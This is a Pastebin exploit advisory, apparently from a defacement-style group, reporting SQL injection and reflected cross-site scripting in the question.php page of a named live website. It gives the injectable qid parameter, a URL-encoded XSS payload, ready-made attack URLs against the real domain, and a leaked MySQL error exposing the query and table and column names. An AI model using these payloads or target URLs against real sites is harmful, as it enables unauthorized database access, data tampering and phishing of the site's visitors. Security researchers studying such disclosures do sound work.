KingSkrupellos

AllAbroad XSS SQL Injection

Jun 10th, 2019
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.98 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : AllAbroad XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 11/06/2019
  7. # Vendor Homepage : allabroad.us
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CWE-79 [ Improper Neutralization of Input During
  14. Web Page Generation ('Cross-site Scripting') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. AllAbroad is prone to an SQL-injection vulnerability because it fails to sufficiently
  24. sanitize user-supplied data before using it in an SQL query. Exploiting this issue could
  25. allow an attacker to compromise the application, access or modify data, or exploit latent
  26. vulnerabilities in the underlying database. A remote attacker can send a specially crafted
  27. request to the vulnerable application and execute arbitrary SQL commands in
  28. application`s database. Further exploitation of this vulnerability may result in unauthorized
  29. data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  30.  
  31. Reflected XSS (or Non-Persistent) :
  32. ***************************************
  33. The server reads data directly from the HTTP request and reflects it back in the
  34. HTTP response. Reflected XSS exploits occur when an attacker causes a victim to
  35. supply dangerous content to a vulnerable web application, which is then reflected back to the
  36. victim and executed by the web browser. The most common mechanism for delivering
  37. malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed
  38. directly to the victim. URLs constructed in this manner constitute the core of many phishing
  39. schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable
  40. site. After the site reflects the attacker's content back to the victim, the content is executed
  41. by the victim's browser.
  42.  
  43. ###################################################################
  44.  
  45. # SQL Injection Exploit :
  46. **********************
  47. /question.php?qid=[SQL Injection]
  48.  
  49. # Cross Site Scripting XSS Exploit :
  50. ********************************
  51. /question.php?qid=1%27%3Cmarquee%3E%3Cfont%20color=
  52. lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E
  53.  
  54. ###################################################################
  55.  
  56. # Example Vulnerable Sites :
  57. *************************
  58. [+] allabroad.us/question.php?qid=1%27
  59.  
  60. [+] allabroad.us/question.php?qid=1%27%3Cmarquee%3E%3Cfont%20color=
  61. lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E
  62.  
  63. ###################################################################
  64.  
  65. # Example SQL Database Error :
  66. ****************************
  67. SQL error (You have an error in your SQL syntax; check the manual that corresponds
  68. to your MySQL server version for the right syntax to use near '' ORDER BY
  69. people.lastname ASC LIMIT 0, 10' at line 5)
  70. in (
  71. SELECT answer.aid as aid,answer.pid, answer.title title, answer.tags
  72. as tags, answer.content as content, answer.content_type as content_type,
  73. people.group_id as group_id ,people.picture as picture,people.firstname
  74. as firstname, people.lastname as lastname , people.title as title,
  75. people.organization as organization
  76. FROM answer, ques_to_ans, people
  77. WHERE answer.aid = ques_to_ans.aid AND people.pid = answer.pid
  78. AND ques_to_ans.qid = 1'
  79. ORDER BY people.lastname ASC
  80. LIMIT 0, 10
  81.  
  82. ###################################################################
  83.  
  84. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  85.  
  86. ###################################################################
Add Comment
Please, Sign In to add comment